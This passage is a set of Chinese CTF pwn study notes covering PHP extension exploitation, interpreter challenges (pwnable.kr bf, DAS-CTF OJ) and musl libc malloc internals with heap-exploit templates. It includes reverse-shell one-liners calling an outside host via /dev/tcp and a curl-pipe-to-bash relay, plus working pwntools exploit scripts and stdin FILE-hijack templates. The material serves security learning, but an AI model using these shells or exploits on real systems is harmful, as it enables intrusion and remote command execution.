同样的,也对应有其他的变量类型,由zval中的type来决定,type值的不同代表不同的类型,比如string为6,函数object为8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//src/Zend/zend_types.h
/* regular data types */
#define IS_UNDEF 0
#define IS_NULL 1
#define IS_FALSE 2
#define IS_TRUE 3
#define IS_LONG 4
#define IS_DOUBLE 5
#define IS_STRING 6
#define IS_ARRAY 7
#define IS_OBJECT 8
#define IS_RESOURCE 9
#define IS_REFERENCE 10

/* constant expressions */
#define IS_CONSTANT_AST 11

/* internal types */
#define IS_INDIRECT 13
#define IS_PTR 14
#define _IS_ERROR 15

/* fake types used only for type hinting (Z_TYPE(zv) can not use them) */
#define _IS_BOOL 16
#define IS_CALLABLE 17
#define IS_ITERABLE 18
#define IS_VOID 19
#define _IS_NUMBER 20

汇总一下,就是创建一个class类,然后劫持其函数成员创建的zval结构体中的zend_object_handlers指针,使其指向我们可控的区域,然后在对应偏移处修改get_method指针,使其指向可以执行系统命令的函数,从而来反弹shell。

或者说直接劫持函数成员创建的zval结构体中的zend_object_handlers指向的内存区域中的get_method指针,也是能起到一样的作用。

绕过点

不过还是需要绕过一些保护的,调用get_method函数指针貌似还是需要绕过一些东西的,这里不知道具体的原理,不过修改点还是可以说明的

①write_dimension

这个需要修改的,常见的如下,需要修改最低的为0x1

image-20220216190812859

相对应的修改如下

image-20220216190925728

相关检测的代码如下

image-20220216194142467

②get_method的选择

由于调用该函数指针时,传进来的rdi参数并非是我们的C语言上的字符串类型的指针,而貌似是一个类似zend_string的指针,类似如下

image-20220216193001312

所以不能使用常规意义system或者popen函数等,需要调用php中的相关内置的函数来对参数进行解析再执行。一般选择的是php程序中的php_exec函数下面的函数代码,下图红框所示

image-20220216191438382

同样的,以上的结构体在堆中通常也可以用来泄露地址

例题就是2021WMCTF checkin

2021WMCTF_checkin学习PHP PWN - 安全客,安全资讯平台 (anquanke.com)

PHP pwn入门1 - 格式化字符串漏洞 - HackMD

四、反弹shell

常见的反弹shell大概以下两种方式

1.popen直接反弹

这个只需要执行命令,其中127.0.0.1/6666即设置为自己攻击机的ip和端口

1
popen('/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"');

常见system函数不好使用,php中不好整的时候

2.使用中转站反弹

GitHub - lukechilds/reverse-shell: Reverse Shell as a Service

执行命令,其中192.168.0.69:1337也是设置为自己攻击机的ip和端口

1
system("curl https://reverse-shell.sh/192.168.0.69:1337|bash\x00");

相当于在一个服务器https://reverse-shell.sh进行中转

五、调试技巧

1.安装对应版本调试

这个就不多说了,在做题的时候,了解到php版本,然后本机安装对应版本的php,之后在php.ini中添加该模块调试即可

2.gdbserver调试

有些题目会给现成的docker环境,所以可以直接在里面使用gdbserver调试,但是有点问题就是,调试的时候好像没办法使用run命令来运行php文件,而直接调试php pwn.php的话,开始的时候相应的.so模块不会被加载进入,没办法下断点。

那么可以先将本地的ASLR关闭,这样docker中的ASLR也是关闭状态

然后gdbserver 127.0.0.1:6666 php,宿主机target remote:6666;c远程加载运行起来,找到对应.so模块的加载地址so_addr

之后再gdbserver 127.0.0.1:6666 php pwn.php,宿主机远程加载,使用add-symbol-file file.so so_addr从而加载进符号表,然后即可下断点调试了。

解释器PWN

前言

记录一下解释器类型的PWN题

参照:解释器类型的Pwn题目总结 - 安全客,安全资讯平台 (anquanke.com)

一、pwnable_bf

brainfuck语言的解释器,其中指针p指向bss段上的tape

image-20220209105933118

参照:Brain fuck-pwnable.kr三种思路详解 - FreeBuf网络安全行业门户

其中各个分支(符号代表)的功能,可见下表:(部分来源于TaQini

操作 含义 解释
> p += 1 p值加1
< p -= 1 p值减1
+ (*p) += 1 p值指向的值加1
- (*p) -= 1 p值指向的值减1
. putchar(*p) 输出
, getchar(*p) 输入

简单来说就是:,.分别控制输入输出;<>控制指针p的取值加减;+-控制指针p指向的内存上的值的加减。

所以这里就很明显,由于没有对p做限制,所以我们可以控制指针p来移动到一个范围内的任意地方

image-20220209110158154

最多移动1024次,也就是在如下范围处

1
&tape ± 1024

又由于tape在bss段上,距离Got表比较近,并且实际上在IDA中查看也确实如此,那么之后我们就可以借助,来输出got表中内容,泄露地址,然后修改putchar的got表,直接跳转one_gadget即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#coding:utf-8
from pwn import *
context.log_level = 'debug'
elf = ELF("./bf")
libc = ELF("./libc.so.6")


global p

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

# address
tape_addr = 0x0804A0A0
putchar_addr = 0x0804A030
# build payload
payload = ''
payload += '<' * (tape_addr - putchar_addr) # move to putchar address(0x0804A030)
payload += '.' # load putchar into plt (for the time to use putchar)
payload += '.>' * 0x4 # load putchar real address
payload += '<' * 0x4 + ',>' * 0x4 # overload putchar
payload += '.' # getshell
log.info("start send")
p = remote('pwnable.kr',9001)
#p = process("./bf")
p.recvuntil('welcome to brainfuck testing system!!\ntype some brainfuck instructions except [ ]\n')
p.sendline(payload)

libc_base_addr = u32Leakbase(libc.sym['putchar'])
p.send(p32(libc_base_addr + 0x5fbc6))
p.interactive()

二、2020 RCTF bf

这题不太想调,也是brainFuck语言的,但是在[]的实现上有点问题,code在栈上,会存在Off-by-one的情况,刚好溢出到code_addr,可通过修改code_addr来控制程序流从而进行ROP。

三、2020 DAS-CTF OJ0

C编译器,没有附件,过滤了homectfflag等敏感字符和system,exec类的函数

解法一:直接读取

通过编写程序读取/home/ctf/flag,绕过过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context(log_level="debug", arch="amd64")

io = remote("183.129.189.60", 10075)

program = """
#include <stdio.h>

int main(){
char buff[128]={0}, file[128]={0};
scanf("%s", file);
FILE* fp = fopen(file, "r");
fscanf(fp, "%s", buff);
printf("%s", buff);
return 0
}@

"""

io.sendlineafter("'@')", program)
io.sendlineafter("(Y/n)", "/home/ctf/flag")

io.interactive()

解法二:拼接读取

由于过滤了,所以可以尝试像Web里面的那种拼接读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

context(log_level="debug", arch="amd64")

io = remote("183.129.189.60", 10075)

program = """
#include <stdio.h>
#include<string.h>

int main(){
char buf[50];
char path_part_1[5] = "/hom";
char path_part_2[5] = "e/ct";
char path_part_3[5] = "f/fl";
char path_part_4[5] = "agx00";
char path[20];
sprintf(path, "%s%s%s%s", path_part_1, path_part_2, path_part_3, path_part_4);
int fd = open(path);
read(fd,buf,50);
write(1,buf,50);
}@

"""

io.sendlineafter("'@')", program)

io.interactive()

四、DEFCON CTF Qualifier 2020 introool

这题不太想调,就是patch,写汇编跳转shellcode等

五、[Redhat2019] Kaleidoscope

这题找不着附件,简单来说就是两个东西Kaleidoscope即时解释器和honggfuzz

六、2020 DAS-CTF OJ1

不能输入括号,大中小括号等,例如int main(){}等等都不行,可以用如下的形式来进行

1
const char main=0x55,a1=0x48,a2=0x89,a3=0xe5;

编译之后可以看到如下,直接形成汇编代码,那么就可以直接写汇编通i过shellcode或者orw来获取flag了。

image-20220209133547687

image-20220209133415993

Musl从0开始

一、1.2.0及以前版本

1.数据结构

(1)chunk结构

1
2
3
4
5
//v1.2.0 定义在src/internal/malloc_impl.h中
struct chunk {
size_t psize, csize; // 相当于 glibc 的 prev size 和 size
struct chunk *next, *prev;
};

①不重用psize字段

②psize和size都有inuse标志位,分别代表前一个chunk和当前chunk的使用状态。

(2)堆管理结构mal

类似于arena,记录堆中的相关状态,bins结构体等

1
2
3
4
5
6
//v1.2.0  定义在src/malloc/malloc.c中
static struct {
volatile uint64_t binmap; //64位无符号整数binmap
struct bin bins[64];
volatile int free_lock[2];
} mal;

(3)bitmap:

binmap记录每个 bin 是否为非空,若对应某个比特位为 1,则表示对应的 bin 为非空,存在chunk

在unbin函数操作过程中,如果操作的chunk(C)的prev和next指针相等,就会将对应的bin的bitmap设置为0,使其处于置空的状态。

(4)bins

1
2
3
4
5
6
//v1.2.0 定义在src/internal/malloc_impl.h中
struct bin {
volatile int lock[2];
struct chunk *head;
struct chunk *tail;
};

构成类似unsortedbin的双向循环链表,当链表为空时,headtail指针等于 0 或者指向链表头部自身。

每个bin存储的chunk范围如下

bin 下标 i chunk 大小个数 chunk 大小范围 下标 i 与 chunk 大小范围的关系
0-31 1 0x20 – 0x400 (i+1) * 0x20
32-35 8 0x420 – 0x800 (0x420+(i-32) 0x100) ~ (0x500+(i-32) 0x100)
36-39 16 0x820 – 0x1000 (0x820+(i-36) 0x200) ~ (0x1000+(i-36) 0x200)
40-43 32 0x1020 – 0x2000 (0x1020+(i-40) 0x400) ~ (0x1400+(i-40) 0x400)
44-47 64 0x2020 – 0x4000 (0x2020+(i-44) 0x800) ~ (0x2800+(i-44) 0x800)
48-51 128 0x4020 – 0x8000 (0x4020+(i-48) 0x1000) ~ (0x5000+(i-48) 0x1000)
52-55 256 0x8020 – 0x10000 (0x8020+(i-52) 0x2000) ~ (0xa000+(i-52) 0x2000)
56-59 512 0x10020 – 0x20000 (0x10020+(i-56) 0x4000) ~ (0x14000+(i-56) 0x4000)
60-62 1024 0x20020 – 0x38000 (0x20020+(i-60) 0x8000) ~ (0x28000+(i-60) 0x8000)
63 无限 0x38000 以上 0x38000 ~

前 32 个 bin 类似 fastbin和smallbin,每个 bin 只对应一种大小的 chunk,但是也是双向循环链表,第一个释放到bins中的chunk都会使得next和prev指针带上libc地址。

后面的则类似largebin,对应多种范围大小的chunk。

2.维护方式

在 64 位系统下 chunk 大小是以 32 字节对齐的,这与 glibc 16 字节对齐不同,故 chunk 大小最小为 0x20 字节,然后按 0x40、0x60、0x80… 逐渐递增,不共用psize位,所以每次都会将申请的size+0x10。

1
2
3
4
5
malloc(0x10)->0x20
malloc(0x11)->0x40
malloc(0x2f)->0x40
malloc(0x30)->0x40
malloc(0x31)->0x60

维护链表的方式是 FILO(从链表首部取出 chunk,从尾部插入 chunk),并且都是双向循环链表

没有实现如__malloc_hook__free_hook之类的 hook 函数

3.关键函数

(1)mallco

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
//v1.2.0  src/malloc/malloc.c中
void *malloc(size_t n)
{
struct chunk *c;
int i, j;

//调整n大小,对齐0x20
if (adjust_size(&n) < 0) return 0;

//如果n大于MMAP_THRESHOLD (0x38000),使用 mmap
if (n > MMAP_THRESHOLD) {
size_t len = n + OVERHEAD + PAGE_SIZE - 1 & -PAGE_SIZE;
char *base = __mmap(0, len, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (base == (void *)-1) return 0;
c = (void *)(base + SIZE_ALIGN - OVERHEAD);
c->csize = len - (SIZE_ALIGN - OVERHEAD);
c->psize = SIZE_ALIGN - OVERHEAD;
return CHUNK_TO_MEM(c);
}

//计算对应的binmap下标i
i = bin_index_up(n);
for (;;) {
//查找binmap
uint64_t mask = mal.binmap & -(1ULL<<i);

//如果bin均为空,那么调用expand_heap函数延展堆空间,生成新的chunk返回
if (!mask) {
c = expand_heap(n);
if (!c) return 0;
if (alloc_rev(c)) {
struct chunk *x = c;
c = PREV_CHUNK(c);
NEXT_CHUNK(x)->psize = c->csize =
x->csize + CHUNK_SIZE(c);
}
break;
}

//获取大小最接近n(size)的可用bin下标j
j = first_set(mask);
lock_bin(j);
c = mal.bins[j].head;
//BIN_TO_CHUNK不知道什么函数
if (c != BIN_TO_CHUNK(j)) {、
//使用 pretrim判断c的大小和需求的size(n),相差太大就切割
//否则使用 unlock从链表中取出
if (!pretrim(c, n, i, j)) unbin(c, j);
unlock_bin(j);
break;
}
unlock_bin(j);
}

/* Now patch up in case we over-allocated */
//切割之后回收 c 中大小超过 n 的部分
trim(c, n);

return CHUNK_TO_MEM(c);
}

详细步骤:

  • 调整 n,对齐0x20

  • 如果 n > MMAP_THRESHOLD (0x38000),使用 mmap 创建一块大小为 n 的内存,返回给用户。

  • 如果 n <= MMAP_THRESHOLD (0x38000),计算 n 对应的 bin 下标 i,查找 binmap

    • 如果所有的可用 bin 均为空,调用expand_heap函数延展堆空间,生成一个新的 chunk返回

    • 如果存在非空的可用 bin,选择大小最接近 n 的 bins[j],得到 bin 链表首部的 chunk c
      如果符合 pretrim 条件,使用 pretrim 分割 c,否则使用 unbin 从链表中取出 c,最后将分割剩下的chunk进入trim函数回收,将c返回给用户。

至于那个unlock_bin好像是同步用的,应该是多线程防止竞争读写吧,不太懂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//v1.2.0  src/malloc/malloc.c中
/* Synchronization tools */

static inline void lock(volatile int *lk)
{
if (libc.threads_minus_1)
while(a_swap(lk, 1)) __wait(lk, lk+1, 1, 1);
}

static inline void unlock(volatile int *lk)
{
if (lk[0]) {
a_store(lk, 0);
if (lk[1]) __wake(lk, 1, 1);
}
}

static inline void lock_bin(int i)
{
lock(mal.bins[i].lock);
if (!mal.bins[i].head)
mal.bins[i].head = mal.bins[i].tail = BIN_TO_CHUNK(i);
}

static inline void unlock_bin(int i)
{
unlock(mal.bins[i].lock);
}

①unbin

类似于unlink的解链操作,无任何检测

1
2
3
4
5
6
7
8
9
10
11
12
//v1.2.0  src/malloc/malloc.c中
static void unbin(struct chunk *c, int i)
{
if (c->prev == c->next)
a_and_64(&mal.binmap, ~(1ULL<<i));
//解链
c->prev->next = c->next;
c->next->prev = c->prev;
//设置 INUSE 标志位,双重标志位都会设置
c->csize |= C_INUSE;
NEXT_CHUNK(c)->psize |= C_INUSE;
}

②pretrim

切割chunk,需要满足一定条件才会进行切割操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//v1.2.0  src/malloc/malloc.c中
/* pretrim - trims a chunk _prior_ to removing it from its bin.
* Must be called with i as the ideal bin for size n, j the bin
* for the _free_ chunk self, and bin j locked. */
static int pretrim(struct chunk *self, size_t n, int i, int j)
{
size_t n1;
struct chunk *next, *split;

/* We cannot pretrim if it would require re-binning. */
if (j < 40) return 0;// 条件 1:j(大小最接近size的可用bin下标)大于 40

// 条件 2: j(大小最接近size的可用bin下标)与i(计算出来的bin下标)相隔 3 个 bin 或以上,
// 或者j(大小最接近size的可用bin下标)等于63且size相差大于 MMAP_THRESHOLD(0x38000)
if (j < i+3) {
if (j != 63) return 0;
n1 = CHUNK_SIZE(self);
if (n1-n <= MMAP_THRESHOLD) return 0;
} else {
n1 = CHUNK_SIZE(self);
}

//条件3: size相差的数值属于bins[j]的范围内,即split与self属于同一个bin
if (bin_index(n1-n) != j) return 0;

//切割出一块大小为n的chunk用来返回
next = NEXT_CHUNK(self);
split = (void *)((char *)self + n);

split->prev = self->prev;
split->next = self->next;
split->prev->next = split;
split->next->prev = split;
split->psize = n | C_INUSE;
split->csize = n1-n;
next->psize = n1-n;
self->csize = n | C_INUSE;
return 1;
}

取个名字好听点:

J:search_bin_idx

I:calc_bin_idx

n:need_size

总的条件如下:

  • search_bin_idx大于 40

  • search_bin_idxcalc_bin_idx相隔 3 个 bin 或以上,或者search_bin_idx等于63且bins[search_bin_idx].head->size - need_size > MMAP_THRESHOLD(0x38000)

  • bins[search_bin_idx].head->size - need_size的值在bins[search_bin_idx]

即在将Chunk拿出bin之前,先进行切割赋值,设置对应的指针,然后才解链,chunk还是从bin中找到的chunk,之后在unbin中进行inuse位的修改。

③trim

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//v1.2.0  src/malloc/malloc.c中
static void trim(struct chunk *self, size_t n)
{
size_t n1 = CHUNK_SIZE(self);
struct chunk *next, *split;

//类似于unsortebin中如果多出来的size小于0x10,那就直接返回给用户一样
//DONTCARE(0x10),也就是确保回收的chunk的size至少为0x10,chunk至少0x20对齐
if (n >= n1 - DONTCARE) return;

next = NEXT_CHUNK(self);
split = (void *)((char *)self + n);

split->psize = n | C_INUSE;
split->csize = n1-n | C_INUSE;
next->psize = n1-n | C_INUSE;
self->csize = n | C_INUSE;

// 将多余的chunk释放到 bin
__bin_chunk(split);
}

(2)free

这个比较简单,如果csize没有设置标志位,就有两种可能,要么是double free,要么是mmap出来的chunk。所以进入unmap_chunk函数仔细判断,否则就是设置了标志位,正常进入__bin_chunk函数进行释放。

1
2
3
4
5
6
7
8
9
10
11
12
////v1.2.0  src/malloc/malloc.c中
void free(void *p)
{
if (!p) return;

struct chunk *self = MEM_TO_CHUNK(p);
//判断csize是否设置了标志位
if (IS_MMAPPED(self))
unmap_chunk(self);//检测psize字段
else
__bin_chunk(self);//正常释放
}

①unmap_chunk

1
2
3
4
5
6
7
8
9
10
11
12
////v1.2.0  src/malloc/malloc.c中
static void unmap_chunk(struct chunk *self)
{
size_t extra = self->psize;
char *base = (char *)self - extra;
size_t len = CHUNK_SIZE(self) + extra;
/* Crash on double free */
//如果psize字段设置inuse位,直接crash
if (extra & 1) a_crash();
//否则作为mmap chunk进入释放函数
__munmap(base, len);
}

②__bin_chunk

正常的释放函数,首先合并 chunk 前后的空闲 chunk、设置 binmap 和 chunk 标志位,最后将 chunk 插入到对应的 bin 链表中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
////v1.2.0  src/malloc/malloc.c中
void __bin_chunk(struct chunk *self)
{
struct chunk *next = NEXT_CHUNK(self);
size_t final_size, new_size, size;
int reclaim=0;
int i;


final_size = new_size = CHUNK_SIZE(self);

/* Crash on corrupted footer (likely from buffer overflow) */
//若下一个 chunk 的 psize 不等于 self 的 csize,则 crash
//相当于检测pre_size和size
if (next->psize != self->csize) a_crash();


//检测该chunk的前后是否处于空闲状态
for (;;) {
//对于上一个chunk,检测当前chunk的psize位
//对于下一个chunk,检测下一个chunk的csize位
if (self->psize & next->csize & C_INUSE) {
//前后处于use状态,那么对当前chunk进行释放即可
//清除当前chunk的inuse位,下一个chunk的psize位
self->csize = final_size | C_INUSE;
next->psize = final_size | C_INUSE;
i = bin_index(final_size);
lock_bin(i);
lock(mal.free_lock);
//退出循环检测
if (self->psize & next->csize & C_INUSE)
break;
unlock(mal.free_lock);
unlock_bin(i);
}

//向上合并空闲的chunk
if (alloc_rev(self)) {
self = PREV_CHUNK(self);
size = CHUNK_SIZE(self);
final_size += size;
if (new_size+size > RECLAIM && (new_size+size^size) > size)
reclaim = 1;
}

//向下合并空闲的chunk
if (alloc_fwd(next)) {
size = CHUNK_SIZE(next);
final_size += size;
if (new_size+size > RECLAIM && (new_size+size^size) > size)
reclaim = 1;
next = NEXT_CHUNK(next);
}
}

//设置对应binmap的标志位,bins[i]
if (!(mal.binmap & 1ULL<<i))
a_or_64(&mal.binmap, 1ULL<<i);

self->csize = final_size;
next->psize = final_size;
unlock(mal.free_lock);

//将当前chunk放到bins[i]的尾部,FILO的形式
self->next = BIN_TO_CHUNK(i);
self->prev = mal.bins[i].tail;
self->next->prev = self;
self->prev->next = self;

/* Replace middle of large chunks with fresh zero pages */
if (reclaim) {
uintptr_t a = (uintptr_t)self + SIZE_ALIGN+PAGE_SIZE-1 & -PAGE_SIZE;
uintptr_t b = (uintptr_t)next - SIZE_ALIGN & -PAGE_SIZE;
#if 1
__madvise((void *)a, b-a, MADV_DONTNEED);
#else
__mmap((void *)a, b-a, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
#endif
}

unlock_bin(i);
}

4.静态堆内存

在Libc初始化时,如下

1
2
3
4
5
6
7
8
9
void __dls3(size_t *sp)
{
[...]
// ldso/dynlink.c L1839-L1840
/* Donate unused parts of app and library mapping to malloc */
reclaim_gaps(&app);
reclaim_gaps(&ldso);
[...]
}

会调用reclaim_gaps函数查找程序和 libc 库的空闲内存,通常是位于Data段上,该函数中会调用__malloc_donate函数将空闲内存释放到 bin中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// ldso/dynlink.c L526-L552
/* A huge hack: to make up for the wastefulness of shared libraries
* needing at least a page of dirty memory even if they have no global
* data, we reclaim the gaps at the beginning and end of writable maps
* and "donate" them to the heap. */

static void reclaim(struct dso *dso, size_t start, size_t end)
{
// 避开 RELRO 段
if (start >= dso->relro_start && start < dso->relro_end) start = dso->relro_end;
if (end >= dso->relro_start && end < dso->relro_end) end = dso->relro_start;
if (start >= end) return;
char *base = laddr_pg(dso, start);
// 使用 __malloc_donate 函数将内存释放到 bin 中
__malloc_donate(base, base+(end-start));
}

static void reclaim_gaps(struct dso *dso)
{
Phdr *ph = dso->phdr;
size_t phcnt = dso->phnum;

// 遍历每一个段
for (; phcnt--; ph=(void *)((char *)ph+dso->phentsize)) {
// 条件 1:段不属于可加载段(PT_LOAD)
if (ph->p_type!=PT_LOAD) continue;
// 条件 2:段可读可写
if ((ph->p_flags&(PF_R|PF_W))!=(PF_R|PF_W)) continue;
// 在段所属的内存页中,将段前后的空闲内存传递给 reclaim 函数
reclaim(dso, ph->p_vaddr & -PAGE_SIZE, ph->p_vaddr);
reclaim(dso, ph->p_vaddr+ph->p_memsz,
ph->p_vaddr+ph->p_memsz+PAGE_SIZE-1 & -PAGE_SIZE);
}
}

初始化结束后,在bins中会多出几个chunk

image-20220217112724849

不一定是三个chunk,多少个都有可能,主要看程序或者libc中是否存在空闲的内存。之后再进行堆内存分配时,就会在这个基础上进行分配,而非在所有bins都是空的状态进行分配。

5.利用方式

(1)泄露地址

①基于静态堆内存

那么基于静态堆内存的存在,由于最开始进行分配是在存在静态堆内存的情况下分配的,所以如果申请的chunk的size依据申请规则可以对静态堆内存进行切割,那么就会进行切割,由于是切割的chunk,那么此时返回的chunk的就会自然而然带上地址。

同样的,当碰上静态堆内存初始化之后,在一个bins中同时存在程序中的chunk和libc中的chunk时,我们将该chunk切割或者申请出来,就可以同时泄露Libc地址和程序ELF地址了。

②基于bins

前面提到,释放到bins中head指针下chunk必然会带上libc地址,那么直接申请回来就可以进行Libc地址的泄露

(2)getshell

①UAF

方法一:

这种情况可以直接通过改掉位于bin中head头部chunk的next和prev指针,然后从该bin中申请chunk,通过unbin函数中的如下操作即可进行任意地址任意写,其中的c也就是bin中的head指向的chunk。

1
2
c->prev->next = c->next;
c->next->prev = c->prev;

相关的exp模板如下

1
2
3
4
5
6
7
8
bins_a0h_addr = libc_base + 0x292b28
stdin_addr = libc_base + 0x292200
add_malloc(0x1000)
free(0)
edit(0,0x10,p64(bins_a0h_addr-0x10)+p64(stdin_addr-0x10))
add_malloc(0x1000)
edit(0,0x10,p64(stdin_addr-0x10)+p64(bins_a0h_addr-0x10))
add_malloc(0x1000)

可以连续用两次也没啥问题,由于我们劫持了这个改写指针的操作,所以在相对于的bin结构中的head和tail指针并没有改变,所以仍然可以使用。

用两次的原因是需要在stdin->prevstdin->next都写下一个可写地址,这样之后再从对应bin的head中申请出来时,经过unbin函数中的指针赋值操作不会出错,否则就会出现不可写或者零地址取值操作导致失败。

以上操作结束后就可以看到在bins[4],也是0xa0大小对应的bin中的head指针已经被我们修改为stdin_addr-0x10,同时对应的stdin结构体的prev和next指针也是可写地址

image-20220217185755489

之后从中bins[4]中申请chunk即可申请出stdin结构体,之后对应修改所需数据即可

1
2
3
4
f->wpos != f->wbase
f->flag = "/bin/shx00"
f->write = system
f->lock=0

相应exp模板如下

1
2
3
add_malloc(0xa0-0x20)
edit(3,0x50+0x50,"/bin/sh\x00"+p64(0)*4+p64(0x1)+p64(0x0)+p64(0x2)+p64(0x0)+p64(system_addr) + \
p64(0x0)*8)

最后调用exit()函数即可,调用链为exit()->__stdio_exit_needed()(//或者是__stdio_exit)->close_file(__stdin_used)->f->write(f, 0, 0);这里的f即是传入的stdin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// src/stdio/__stdio_exit.c
static void close_file(FILE *f)
{
if (!f) return;
FFINALLOCK(f);
if (f->wpos != f->wbase) f->write(f, 0, 0);
if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);
}

void __stdio_exit(void)
{
FILE *f;
for (f=*__ofl_lock(); f; f=f->next) close_file(f);
close_file(__stdin_used);
close_file(__stdout_used);
close_file(__stderr_used);
}

不过由于FFINALLOCK(f);的存在,如果进入这个函数不知道为什么会崩溃,也可能是某些设置上的问题吗?所以为了不进入这个函数,那么需要将f->lock置零即可

image-20220217183236401

最后即可调用f->write,即劫持的system函数,rdi为stdin结构体,来getshell

最终小模板如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
bins_a0h_addr = libc_base + 0x292b28
stdin_addr = libc_base + 0x292200
add_malloc(0x1000)
add_malloc(0xa0-0x20)
add_malloc(0xa0-0x20)
free(1)
free(0)
dbg()
edit(0,0x10,p64(bins_a0h_addr-0x10)+p64(stdin_addr-0x10))
add_malloc(0x1000)
edit(0,0x10,p64(stdin_addr-0x10)+p64(bins_a0h_addr-0x10))
add_malloc(0x1000)
#dbg()
add_malloc(0xa0-0x20)
#pause()
edit(5,0x50+0x50,"/bin/sh\x00"+p64(0)*4+p64(0x1)+p64(0x0)+p64(0x2)+p64(0x0)+p64(system_addr) + \
p64(0x0)*8)
#dbg()
exit()
p.interactive()
方法二:

这个相对方法一就简单很多,只需要一个任意地址写即可,思路也是类似的。

观察上面的__stdio_exit函数,我们可以发现,其实它最后使用的是__stdin_used,而这个数据保存着stdin结构体指针,并且该数据位于libc上可读可写处,也就是说,我们可以尝试劫持__stdin_used下的stdin结构体指针到堆上,在堆上伪造我们的数据,从而在调用exit函数时从堆上取数据执行最终的命令。

1
2
3
4
5
6
7
8
9
10
11
execve_addr = libc_base + libc.sym['execve']
stdin_usedpoint_addr = libc_base + 0x292430
heap_addr = 0x555555759000
add_malloc(0x1000)
free(0)
edit(0,0x10,p64(stdin_usedpoint_addr-0x10-0x8)+p64(heap_addr+0x50))
add_malloc(0x1000)
edit(0,0x30+0x50+0x50,'\x00'*0x30+"/bin/sh\x00"+p64(0)*4+p64(0x1)+p64(0x0)+p64(0x2)+p64(0x0)+p64(execve_addr) + \
p64(0x0)*8)
exit()
p.interactive()

可以看到,在最后的执行命令处,rdi被成功更改为堆上的地址,并且也是对应寻找偏移找到了execve函数地址,更加简便了

image-20220217193622906

同时由于最后调用的f->write(f,0,0),其中rsi和rdx必定为0,所以推荐还是使用execve函数,防止system函数出现非预期的一些栈环境或者其他变化,导致无法getshell。

方法三:

同样的,如果是ORW,再进一步的话,是不是musl中也存在类似于setcontext之类可以甚至栈的gadget呢,其实是有的,在longjmp函数中,

1
2
3
4
5
//1.1.24的libc中
.text:0000000000048B96 mov rdx, [rdi+30h]
.text:0000000000048B9A mov rsp, rdx
.text:0000000000048B9D mov rdx, [rdi+38h]
.text:0000000000048BA1 jmp rdx

相对应在1.2.0以上版本中也是有类似的,也在longjmp函数中,那么我们就可以将__stdin_used劫持为堆地址,在堆上布置下我们的ORW来进行攻击

②off-by-one

一般在Musl环境下的堆题,基本不存在off-by-null的情况的,因为当前chunk的csize会和下一个chunk的psize进行比对,如果不等会crash。

1
2
3
4
//__bin_chunk函数中
//若下一个 chunk 的 psize 不等于 self 的 csize,则 crash
//相当于检测pre_size和size
if (next->psize != self->csize) a_crash();

而由于不重用psize字段,就算溢出一个零字节,也无法覆盖到csize字段,只能覆盖到pszie字段,所以当可以溢出一个任意字节时,我们就可以修改psize字段,向上进行堆块重叠合并。

1
2
3
4
5
6
7
add_malloc(0x40-0x10)
add_malloc(0x40-0x10)
add_malloc(0x40-0x10)
add_malloc(0x40-0x10)
edit(1,(0x40-0x10+0x1),'\x00'*(0x40-0x10)+p8(0x80))
free(0)
free(2)

这样chunk0和chunk1就会合并到一块进入bin中,制造chunk1的堆块重叠,但是由于函数机制问题,chunk2实际上是并没有被释放到bin中的。

未合并前如下:

image-20220218113100251

合并后如下:

image-20220218113620389

那么之后将chunk1释放,在将chunk0+chunk1申请回来,即可制造一个UAF了。

1
2
3
edit(1,(0x40-0x10+0x1),'\x00'*(0x40-0x10)+p8(0x41))
free(1)
add_malloc(0x80-0x10)

如下所示

image-20220218120440262

有了UAF之后就好办很多了,还是参考上述的UAF情况

二、1.2.1及之后版本

这个版本下的堆管理方式有了很大的变化,可以说和原来的都不是一个东西了。

参考

新版musl-libc malloc源码分析与调试 - 安全客,安全资讯平台 (anquanke.com)

从musl libc 1.1.24到1.2.2 学习pwn姿势 - 安全客,安全资讯平台 (anquanke.com)

musl-1.2.x堆部分源码分析 - 安全客,安全资讯平台 (anquanke.com)

1.数据结构

(1)chunk结构

